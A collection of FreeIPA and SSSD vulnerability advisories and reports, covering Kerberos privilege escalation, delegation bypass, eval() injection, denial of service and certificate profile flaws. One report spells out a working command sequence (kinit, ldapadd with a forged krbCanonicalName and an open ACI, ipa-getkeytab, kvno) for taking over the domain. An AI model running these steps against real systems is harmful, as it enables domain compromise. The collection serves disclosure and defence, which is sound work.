ipa-kra-install in FreeIPA before 4.2.2 puts the CA agent certificate and private key in /etc/httpd/alias/kra-agent.pem, which is world readable.

A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.

A privilege escalation from host to domain vulnerability was found in the FreeIPA project. The FreeIPA package fails to validate the uniqueness of the krbCanonicalName for the admin account by default, allowing users to create services with the same canonical name as the REALM admin. When a successful attack happens, the user can retrieve a Kerberos ticket in the name of this service, containing the admin@REALM credential. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.

A privilege escalation flaw from host to domain administrator was found in FreeIPA. This vulnerability is similar to CVE-2025-4404, where it fails to validate the uniqueness of the krbCanonicalName. While the previously released version added validations for the admin@REALM credential, FreeIPA still does not validate the root@REALM canonical name, which can also be used as the realm administrator's name. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.

A vulnerability was found in FreeIPA in how the initial implementation of MS-SFU by MIT Kerberos was missing a condition for granting the "forwardable" flag on S4U2Self tickets. Fixing this mistake required adding a special case for the checkallowedtodelegate() function: If the target service argument is NULL, then it means the KDC is probing for general constrained delegation rules and not checking a specific S4U2Proxy request. In FreeIPA 4.11.0, the behavior of ipadbmatchacl() was modified to match the changes from upstream MIT Kerberos 1.20. However, a mistake resulting in this mechanism applies in cases where the target service argument is set AND where it is unset. This results in S4U2Proxy requests being accepted regardless of whether or not there is a matching service delegation rule.

A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function berscanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.

DISPUTED FreeIPA 4.x with API version 2.213 allows a remote authenticated users to bypass intended account-locking restrictions via an unlock action with an old session ID (for the same user account) that had been created for an earlier session. NOTE: Vendor states that issue does not exist in product and does not recognize this report as a valid security concern.

ipa 3.0 does not properly check server identity before sending credential containing cookies

A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.

A flaw was found in FreeIPA. The trust-fetch-domains command, used to refresh Active Directory trust topology, is gated only by the read-level ACI on the trust object (System: Read Trust Information, granted to any authenticated IPA user by default) rather than a trust-administration-level permission. Any authenticated, non-privileged IPA user can therefore invoke ipa trust-fetch-domains, which calls a root-owned oddjobd/D-Bus helper (install/oddjob/com.redhat.idm.trust-fetch-domains.in). When the caller supplies --admin/--password, the helper calls kinitpassword() against a caller-chosen --server using attacker-supplied credentials, with no cross-check that they belong to the real trusted AD forest, then accepts whatever forest-trust topology (domain names, NetBIOS names, SIDs) that attacker-controlled server returns via ipaserver/dcerpc.py's fetchdomains()/discovertrustinstance(). This fabricated data is written directly into the IPA LDAP directory as authoritative trust/ID-range topology by trust.addnewdomainsfromtrust(). The authorization gap itself (an unprivileged, non-admin user's request reaching the root-owned helper's execution with no ACI rejection) was reproduced dynamically in an isolated sandbox against ipa-server-4.13.5, confirmed against a negative control (an unrelated admin-only operation was correctly rejected in the same session). The exploiting principal holds zero delegated privilege — this is not a case of a narrow administrative delegation being used beyond its intended scope.

A Cross-site request forgery vulnerability exists in ipa/session/loginpassword in all supported versions of IPA. This flaw allows an attacker to trick the user into submitting a request that could perform actions as the user, resulting in a loss of confidentiality and system integrity. During community penetration testing it was found that for certain HTTP end-points FreeIPA does not ensure CSRF protection. Due to implementation details one cannot use this flaw for reflection of a cookie representing already logged-in user. An attacker would always have to go through a new authentication attempt.

A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.

A vulnerability was found in ipa before 4.4. IdM's ca-del, ca-disable, and ca-enable commands did not properly check the user's permissions while modifying CAs in Dogtag. An authenticated, unauthorized attacker could use this flaw to delete, disable, or enable CAs causing various denial of service problems with certificate issuance, OCSP signing, and deletion of secret keys.

A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the /ipa/i18nmessages endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.

A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the /ipa/migration/migration.py endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.

alich in the FreeIPA bug tracker reported:

A number of non printable strings can cause FreeIPA to improperly display user data, potentially modifying what is shown to an administrator.

External Reference: https://fedorahosted.org/freeipa/ticket/5153

An information disclosure vulnerability has been found in ipa allowing attacker to retrieve user password hash when utilizing 'System: Read Stage Users' permission.

FreeIPA 4.4.0 allows remote attackers to request an arbitrary SAN name for services.

A flaw was found that allows any unauthenticated party to easily run DoS attack against kerberized services in FreeIPA/IdM realm.

FreeIPA contains MIT KDC as its main component + FreeIPA is using custom database driver for the KDC. As a side-effect of implementation, FreeIPA is enforcing password policies for all principals, including services which do not use "password" but keytab with randomly-generated/strong key.

Default password policy locks an account after 5 unsuccessful authentication attempts for 10 minutes. An attacker can use this to simply lock-out any principal, including system services.

Upstream patch : https://git.fedorahosted.org/cgit/freeipa.git/commit/?id=6f1d927467e7907fd1991f88388d96c67c9bff61

Additional dependency : https://git.fedorahosted.org/cgit/freeipa.git/commit/?id=73f33569c8893610e246b2f44a7aeaec872b37e6

A flaw was found in SSSD. The extractauthtokv1() function in the PAM responder (src/responder/pam/pamsrvcmd.c) reads a 32-bit authtokenlength from the client request but does not validate it against the remaining buffer size before passing it to sssauthtoksetpassword(). When sssauthtoksetstring() processes the token, it accesses str[len-1] using the unvalidated length, resulting in a heap-buffer-overflow read. A local attacker can trigger this by connecting to the world-writable PAM responder socket (/var/lib/sss/pipes/pam) and sending a crafted protocol v1 authentication request with an oversized authtokenlength value. The stock PAM client uses protocol v3, so this is only reachable via raw socket access. Protocol v2 includes an equivalent bounds check (c+datasize > blen), which is missing from v1. Successful exploitation crashes the sssdpam responder, causing a denial of service for SSSD-mediated authentication. Reported via PSIRTSUPT-20553 by BreachX Zero Day Labs.

The lack of verification for the uniqueness of the LDAP attribute krbCanonicalName in FreeIPA may lead to privilege escalation from host to domain admin.

I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.

Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.

Version affected: FreeIPA VERSION: 4.12.2, APIVERSION: 2.254 Patch available: no CVSS 3.1 Vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493. But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed. The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need. On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix. For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket. It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation. One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.

kdestroy -A

kinit -k -t /etc/krb5.keytab host/debi.red.corp

ldapadd -H ldap://ipa.red.corp

dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp ipaKrbPrincipalAlias: pwn/debi.red.corp krbPrincipalName: pwn/debi.red.corp objectClass: ipaKrbPrincipal objectClass: ipaObject objectClass: ipaService objectClass: krbPrincipal objectClass: krbPrincipalAux objectClass: top krbCanonicalName: host/ipa.red.corp managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp aci: (targetattr = "")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face

ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI

kdestroy -A

kinit -k -t pwn.keytab pwn/debi.red.corp

kvno HTTP/ipa.red.corp

kvno ldap/ipa.red.corp

klist -A

A flaw was found in FreeIPA's idp-add command. ipapython.ipautil.templatestr() evaluates any 'eval(...)' token found in a post-substitution string using Python's eval(). ipaserver/plugins/idp.py passes the caller-supplied --organization and --base-url values (ipaidporg/ipaidpbaseurl), which have no input validation, into this function via provider templates (okta, keycloak, microsoft). The LDAPCreate command framework runs this evaluation inside precallback, before the LDAP access control check that restricts idp-add to the 'External IdP server Administrators' privilege is ever evaluated. As a result, any authenticated IPA principal, regardless of privilege level, can trigger this evaluation.

The regular expression that locates the eval(...) token forbids parentheses inside the evaluated expression, which prevents invoking any function and therefore prevents code execution. However, using parenthesis-free short-circuit boolean expressions, an attacker can distinguish, via the JSON-RPC error code returned by the server, whether a guessed condition is true, and combined with parenthesis-free star and dict-unpacking syntax, this allows systematic enumeration and extraction of the entire environment of the affected server process, with no prior knowledge of variable names required. Separately, a short expression exploiting Python's right-associative exponentiation operator reliably exhausts the affected process's available memory within seconds, providing a cheap, repeatable denial-of-service primitive.

Both primitives are reachable by any authenticated IPA principal, not only those holding the privilege the idp-add command is nominally restricted to.

FreeIPA's certprofileimport.precallback (ipaserver/plugins/certprofile.py) only extracts and validates the profileId field from an uploaded certificate profile; the remainder of the profile configuration is passed through unvalidated to Dogtag. Dogtag's ExternalProcessConstraint (base/ca/src/main/java/com/netscape/cms/profile/constraint/ExternalProcessConstraint.java) executes a configured binary with request-derived environment variables, giving a user who can import certificate profiles (a CA-Administrator-equivalent privilege) code execution as pkiuser.

Independently reproduced against a stock freeipa/freeipa-server:almalinux-10 (FreeIPA 4.13.1) install, using an administrator credential obtained via the companion FreeIPA takeover flaw: the certprofile-import -> ExternalProcessConstraint chain executed attacker-controlled commands. In the reference container, a further SSSD-cache-forging + ksu misconfiguration escalated this to full root — confirmed via a random-token file write, then read back through an independent channel to rule out fabricated output. Whether the root escalation applies to a genuine RHEL RPM-packaged IdM/PKI install (as opposed to being specific to the community container's SSSD/ksu configuration) has not yet been independently confirmed and needs follow-up before finalizing severity.

This requires an already-authenticated CA-Administrator-equivalent account — it is not reachable anonymously on its own. Identified as part of the PSIRTSUPT-21812 investigation; see linked ticket for reproduction evidence.

A flaw was found in the ipa-enrollment SLAPI plugin. A remote authenticated client can exploit a null pointer dereference vulnerability by sending a malformed Lightweight Directory Access Protocol (LDAP) extended operation. By omitting the request value for the JOINOID in the ipa-enrollment extended operation, an attacker can trigger a server crash, potentially causing a denial of service.

A flaw was found in FreeIPA. A low-privilege authenticated user can exploit this vulnerability by submitting an oversized One-Time Password (OTP) key value. This oversized key is then decoded and re-encoded without proper size limits, consuming excessive CPU and memory resources. This can lead to a denial of service, degrading the availability of the IPA service.

A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way that FreeIPA's batch processing API logged operations. This included passing user passwords in clear text on FreeIPA masters. Batch processing of commands with passwords as arguments or options is not performed by default in FreeIPA but is possible by third-party components. An attacker having access to system logs on FreeIPA masters could use this flaw to produce log file content with passwords exposed.

Due to a missing permission check, certprofile-mod can be used by an authenticated but unprivileged user to modify certificate profile configuration. This could allow the issuance of certificates with fraudulent subject naming information (allowing the holder of the private key to impersonate another entity), or inappropriate key usage or extended key usage information (use of certificate for unauthorised purposes e.g. code signing).

Affected versions : 4.2 and above (all versions supporting certificate profiles)

Upstream patch : https://git.fedorahosted.org/cgit/freeipa.git/commit/?id=fec4c32ff15a96736740cf7d2f713a21af0b227e

The certrevoke command in FreeIPA does not check for the "revoke certificate" permission, which allows remote authenticated users to revoke arbitrary certificates by leveraging the "retrieve certificate" permission.

A flaw was found in FreeIPA versions 4.5.0 and later. Session cookies were retained in the cache after logout. An attacker could abuse this flaw if they obtain previously valid session cookies and can use this to gain access to the session.